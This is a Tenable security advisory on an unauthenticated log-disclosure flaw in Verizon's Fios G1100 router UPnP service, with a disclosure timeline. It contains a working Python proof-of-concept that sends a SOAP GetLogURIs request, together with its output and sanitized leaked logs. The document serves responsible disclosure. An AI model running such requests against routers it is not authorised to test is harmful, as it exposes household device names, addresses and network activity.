[R2] Verizon Fios Quantum Gateway G1100 Remote Information Disclosure

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While testing improvements to the Nessus UPnP implementation we found an information disclosure vulnerability in Verizon's Fios Quantum Gateway G1100. The G1100 has three listening UPnP servers. One the user can disable and two they cannot. This advisory concerns the UPnP server on port 1901 that the user cannot disable. This server first caught our attention due it's API list. You can see the list in this output from upnp_info.py

[email protected]:~$ python upnp_info.py 
[+] Discovering UPnP locations
[+] Discovery complete
[+] 2 locations found:
	-> http://192.168.1.1:1990/WFADevice.xml
	-> http://192.168.1.1:1901/root.xml
[+] Loading http://192.168.1.1:1901/root.xml...
	-> Server String: Linux/3.4 UPnP/2.0 bhr4/1.2
	==== XML Attributes ===
	-> Device Type: urn:schemas-upnp-org:device:ManageableDevice:2
	-> Friendly Name: Verizon FiOS-G1100
	-> Manufacturer: Verizon
	-> Manufacturer URL: http://www.verizon.com
	-> Model Description: Verizon Communications Inc.
	-> Model Name: FiOS-G1100
	-> Model Number: FiOS-Gen4
	-> Services:
		=> Service Type: urn:schemas-upnp-org:service:BasicManagement:2
		=> Control: /bms
		=> Events: /bmsEvent
		=> API: http://192.168.1.1:1901/xml/basic_management_service.xml
			- Reboot
			- BaselineReset
			- GetDeviceStatus
			- SetSequenceMode
			- GetSequenceMode
			- Ping
			- GetPingResult
			- NSLookup
			- GetNSLookupResult
			- Traceroute
			- GetTracerouteResult
			- GetBandwidthTestInfo
			- BandwidthTest
			- GetBandwidthTestResult
			- InterfaceReset
			- GetInterfaceResetResult
			- GetTestIDs
			- GetActiveTestIDs
			- GetTestInfo
			- CancelTest
			- GetLogURIs
			- SetLogInfo
			- GetLogInfo
			- GetACLData
		=> Service Type: urn:schemas-upnp-org:service:ConfigurationManagement:2
		=> Control: /cms
		=> Events: /cmsEvent
		=> API: http://192.168.1.1:1901/xml/configuration_management_service.xml
			- GetSupportedDataModels
			- GetSupportedParameters
			- GetInstances
			- GetValues
			- GetSelectedValues
			- SetValues
			- GetAttributes
			- GetConfigurationUpdate
			- GetCurrentConfigurationVersion
			- GetSupportedDataModelsUpdate
			- GetSupportedParametersUpdate
			- GetAttributeValuesUpdate
			- GetAlarmsEnabled
			- SetAlarmsEnabled
			- GetACLData
		=> Service Type: urn:schemas-upnp-org:service:DeviceProtection:1
		=> Control: /dps
		=> Events: /dpsEvent
		=> API: http://192.168.1.1:1901/xml/device_protection_service.xml
			- GetAssignedRoles
			- GetRolesForAction
			- GetACLData
			- AddIdentityList
			- RemoveIdentity

Of particular interest was the method GetLogURIs advertised by basic_management_service.xml. We wrote get_log_uris.py to exercise the GetLogURIs API.

import xml.etree.ElementTree as ET
import requests
import sys

def create_payload():
    payload = ('<?xml version="1.0"?>' +
               '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' +
               '<SOAP-ENV:Body>' +
               '<m:GetLogURIs xmlns:m="urn:schemas-upnp-org:service:BasicManagement:2">' +
               '</m:GetLogURIs>' +
               '</SOAP-ENV:Body>' +
               '</SOAP-ENV:Envelope>')
    return payload

if len(sys.argv) != 2:
    print 'Usage: ./get_log_uris.py <url>'
    sys.exit(0)

index = 0
payload = create_payload()
soapActionHeader = { 'soapaction' : 'urn:schemas-upnp-org:service:BasicManagement:2#GetLogURIs' }
resp = requests.post(sys.argv[1], data=payload, headers=soapActionHeader)

if resp.status_code != 200:
    print 'Error status: %d' % resp.status_code
else:
    print resp.text

Executing get_log_uris.py should look like the following.

[email protected]:~$ python get_log_uris.py http://192.168.1.1:1901/bms
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetLogURIsResponse xmlns:u="urn:schemas-upnp-org:service:BasicManagement:2">
<LogURIs>logs/dhcp_client,logs/system,logs/dhcp_server,logs/security,logs/firewall,logs/intrusion_detection,logs/parental_control,logs/upnp,logs/sdhl_alert,logs/sdhl_operation,logs/tr69,logs/firmware_update,logs/lpr</LogURIs>
</u:GetLogURIsResponse>
</s:Body>
</s:Envelope>

The server responds to an unauthenticated request with a list of URIs. Assuming the router is using the address 192.168.1.1 the URIs map to the following locations:

At the time of discovery, all of the logs were retrievable by a remote unauthenticated user (both LAN and WAN). Some of the information leaked included DHCP information (device names, mac addresses, LAN IP addresses), wireless information (SSID, connected clients), and, due to the way the firewall works, a list of addresses that LAN devices may have been talking to. Here are some log samples. Please note that I did sanitize some data.

Nov 20 15:19:28 2017 local3.info dhcpd: DHCPREQUEST for 192.168.1.207 from ca:fe:c0:ff:ee:00(DESKTOP-TENABLE) via br-lan
Nov 20 15:19:28 2017 local3.info dhcpd: DHCPACK on 192.168.1.207 to ca:fe:c0:ff:ee:00 (DESKTOP-TENABLE) via br-lan
Nov 20 15:19:28 2017 local3.info dhcpd: 192.168.1.207 is leased for 86400 seconds, renew in 0 seconds, rebind in 0 seconds

Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,ssid,TENABLE_SSID
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,channel,11
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,bssid,ca:fe:c0:ff:ee:00
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,x_d4a928_connectionmode,B_G_N
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,associateddevice,[{x_d4a928_cur-snr=17, associateddevicemacaddress=ca:fe:c0:ff:ee:01, x_d4a928_packetstransmitted=5792358, x_d4a928_packetsreceived=1236, x_d4a928_transceiversetting=NA x 3 : 2, x_d4a928_curtxmodulationrate=117 Mbps, x_d4a928_standard=N, currssi=-62, x_d4a928_currxmodulationrate=130 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=144.4 Mbps, associateddeviceauthenticationstate=true}; {x_d4a928_cur-snr=20, associateddevicemacaddress=ca:fe:c0:ff:ee:02, x_d4a928_packetstransmitted=6474801, x_d4a928_packetsreceived=71558, x_d4a928_transceiversetting=NA x 3 : 2, x_d4a928_curtxmodulationrate=24 Mbps, x_d4a928_standard=N, currssi=-58, x_d4a928_currxmodulationrate=144.4 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=144.4 Mbps, associateddeviceauthenticationstate=true}; {x_d4a928_cur-snr=0, associateddevicemacaddress=ca:fe:c0:ff:ee:03, x_d4a928_packetstransmitted=5869243, x_d4a928_packetsreceived=44419, x_d4a928_transceiversetting=NA x 3 : 1, x_d4a928_curtxmodulationrate=39 Mbps, x_d4a928_standard=N, currssi=-77, x_d4a928_currxmodulationrate=43.3 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=72.2 Mbps, associateddeviceauthenticationstate=true}; {x_d4a928_cur-snr=7, associateddevicemacaddress=ca:fe:c0:ff:ee:04, x_d4a928_packetstransmitted=5792979, x_d4a928_packetsreceived=27111, x_d4a928_transceiversetting=NA x 3 : 1, x_d4a928_curtxmodulationrate=19.5 Mbps, x_d4a928_standard=N, currssi=-71, x_d4a928_currxmodulationrate=26 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=72.2 Mbps, associateddeviceauthenticationstate=true}]

Nov 20 15:37:58 2017 local5.notice ulogd[655]: Blocked IN=eth1 OUT= MAC=ca:fe:c0:ff:ee:00 SRC=8.8.8.8 DST=9.9.9.9 LEN=83 TOS=00 PREC=0x00 TTL=59 ID=4109 DF PROTO=TCP SPT=443 DPT=64543 SEQ=22216784 ACK=3489197999 WINDOW=1175 ACK PSH URGP=0 MARK=0

Verizon fixed this information disclosure by disallowing access from the WAN. Router owners don't need to take any action to upgrade because the router automatically updates itself. Unfortunately, these logs are still accessible to anyone on the local network.

2016-09-21 - Issues discovered

2016-10-04 - Advisory drafted

2016-10-04 - Issues reported to [email protected], cc [email protected] per the vulnerability reporting guidelines on Verizon.com

2016-10-04 - Vendor auto-reply, 2016100500017 assigned

2016-10-05 - Vendor asks for firmware version

2016-10-05 - Tenable sends information

2016-11-24 - Ping vendor for update

2017-01-04 - Ping vendor for update

2017-01-09 - Vendor replies, CCing someone else in org asking for update

2017-01-09 - Vendor replies it was fixed in Feb, gives a version that suggests not properly fixed or regression in the version Tenable tested.

2017-01-09 - Vendor says there may be confusion over firmware versioning and fixes, will investigate

2017-01-11 - Vendor says 1.04.05.00 fixes, but in limited test deployment. Due for GA late January

2017-02-27 - Ping vendor to see if software pushed wide as planned

2017-03-01 - Vendor will check rollout status

2017-03-30 - Tenable confirms firmware 01.04.00.10 still vulnerable, hasn't received a newer version

2017-08-17 - Tenable tests 01.04.00.12 and finds it not vulnerable on the WAN side

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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[R2] Verizon Fios Quantum Gateway G1100 Remote Information Disclosure

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Accurately identify, investigate and prioritize vulnerabilities. Managed in the Cloud.

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Calculate, communicate and compare your cyber exposure.

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Get the operational technology security you need. Reduce the risk you don't.

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